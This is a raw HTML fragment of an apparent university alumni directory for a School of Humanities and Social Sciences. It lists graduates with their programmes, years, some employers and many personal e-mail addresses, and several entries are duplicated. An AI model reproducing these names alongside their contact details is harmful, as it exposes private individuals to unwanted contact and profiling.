margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farid&nbsp;Nazarli&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:nezerli-ferid@mail.ru\">nezerli-ferid@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:nezerli-ferid@mail.ru\"></a>2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"G\">G</h3><p><strong>Gunel Ismayilova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Politology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Gunnel_ismayil@mail.ru\">Gunnel_ismayil[at]mail.ru</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Goychak Garibova</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:garibova_95@mail.ru\">garibova_95[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Goshgar Mehdiyev</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:qosqar557@gmail.com\">qosqar557[at]gmail.com</a> &nbsp;</p>\r\n<p>In a military service</p>\r\n<p><strong><br></strong></p><p><strong>Gulgun Huseynova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:huseynovagulgun@gmail.com\">huseynovagulgun[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Gunel Gurbanova</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gunel.qurbanova95@gmail.com\">gunel.qurbanova95[at]gmail.com</a>,&nbsp;<a href=\"mailto:gunel.qurbanova95@mail.ru\">gunel.qurbanova95[at]mail.ru</a></p>\r\n<p>“Humel” psychology center, child psyhologist</p>\r\n<p><strong><br></strong></p><p><strong>Ganira Mastaliyeva</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Journalism 2017</p>\r\n<p>E-mail: <a href=\"mailto:Helen.nilay@gmail.com\">Helen.nilay[at]gmail.com</a></p>\r\n<p>“Azerkitab” Book Propogandizing\r\nCenter, office manager<strong></strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Gunay Mammadova</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>General Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gunaymemmedova191@gmail.com\">gunaymemmedova191[at]gmail.com</a></p>\r\n<p>“Loqos”\r\n&nbsp;psychology center, psychologist</p>\r\n<p>&nbsp;<strong></strong></p>\r\n<p><strong>Gunel Nasirli </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>General Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gnlnsrl@gmail.com\">gnlnsrl[at]gmail.com</a></p>\r\n<p>Clinic Psychiatric Hospital #2, psychologist</p>\r\n<p>&nbsp;<strong></strong></p>\r\n<p><strong>Gunay Bayramova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Clinical Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gunay.bayramova.1993@bk.ru\">gunay.bayramova.1993[at]bk.ru</a></p>\r\n<p><br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunel Mammadova&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Relations and Diplomacy&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master&nbsp;2013 (Honor&nbsp;)</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gulshan Rustamova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gular Zamanzade</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology &nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor) &nbsp;&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunay Babazade&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunel Aliyeva</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunay Hasanli</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:g.hasanly@gmail.com\">g.hasanly@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:g.hasanly@gmail.com\"></a>Bachelor 2015</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gulnar Ibrahimova&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunay Ismayilova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:g.ismayilova20@gmail.com\">g.ismayilova20@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:g.ismayilova20@gmail.com\"></a>Bachelor 2015</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Govhar Aliyeva</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gulnar Abbasova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Gulnarabbasova90@gmail.com\">Gulnarabbasova90@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Gulnarabbasova90@gmail.com\"></a>2015</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gulshan İsmayilova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gardash Badalov&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2010</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ganira İsgandarova</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Clinical Psychology&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2014&nbsp;(Honor&nbsp;)</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gurban Mustafabayli&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology &nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2009&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gadamli İsmayilova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology &nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gadir Rustamov</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Halliburton</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:gadirjuventino@gmail.com\">gadirjuventino@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:gadirjuventino@gmail.com\"></a>Bachelor 2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gardash Badalov&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ganira İsgandarova</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Clinical Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2014&nbsp;(Honor&nbsp;)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gurban Mustafabayli&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2009&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gadamli İsmayilova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gadir Rustamov</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Halliburton</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:gadirjuventino@gmail.com\">gadirjuventino@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:gadirjuventino@gmail.com\"></a>Bachelor 2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"H\">H</h3><p><strong>Hidayat Ahmadli </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ahmadlihido@gmail.com\">ahmadlihido[at]gmail.com</a></p>\r\n<p>&nbsp;Georgia Tbilisi Next Brand, Senior Account\r\nManager and Broker</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Huseyn Huseynzade&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Relations</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012 (Honor)&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Hamida Babayeva&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Huseyn Uzunalov&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011 &nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Husu Aghamirov&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><strong><strong></strong></strong></strong></p><h3 id=\"İ\">I</h3>  <p style=\"font-weight:bold\"><strong>Ilaha Aliyeva </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>English Language and Literature, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Ilaha_huseynova94@mail.ru\">Ilaha_huseynova94[at]mail.ru</a></p><p><br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ilkin Umukhanov&nbsp;</strong>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İlham Aliyev&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İrada Omarova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:iradeomarova@mail.ru\">iradeomarova@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:iradeomarova@mail.ru\"></a>Bachelor 2015</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İnci Macidli</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:inci.mecidli@hotmail.com\">inci.mecidli@hotmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:inci.mecidli@hotmail.com\"></a>Bachelor 2015</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İsmayil&nbsp;Valiyev&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Independent\r\nconsultant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:aliyevismayil@gmail.com\">aliyevismayil@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:aliyevismayil@gmail.com\"></a>2012</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İrana Aghalarzade</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies (English, Persian)</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2011</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İsmayil Huseynov&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İlaha Mammadova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012 &nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><h3 id=\"J\">J</h3><p><strong>Javidan Zakirzade </strong></p><p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Zakirzade95@mail.ru\">Zakirzade95[at]mail.ru</a> &nbsp;</p>\r\n<p>Warsaw, University of Finance and management</p>\r\n<p>&nbsp;</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Jahid&nbsp;&nbsp;Nadirov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">ASAN service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:cahidnadirov@gmail.com\">cahidnadirov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Javid&nbsp;&nbsp;Mammadov&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance\r\nfor Development BOKT</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:cavid_mammadov@mail.ru\">cavid_mammadov@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Jeyhun Birjali&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Javid&nbsp;Ahadov&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">TUF AvtoServis Azerbaijan</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:ahadovjavid@gmail.com\">ahadovjavid@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p 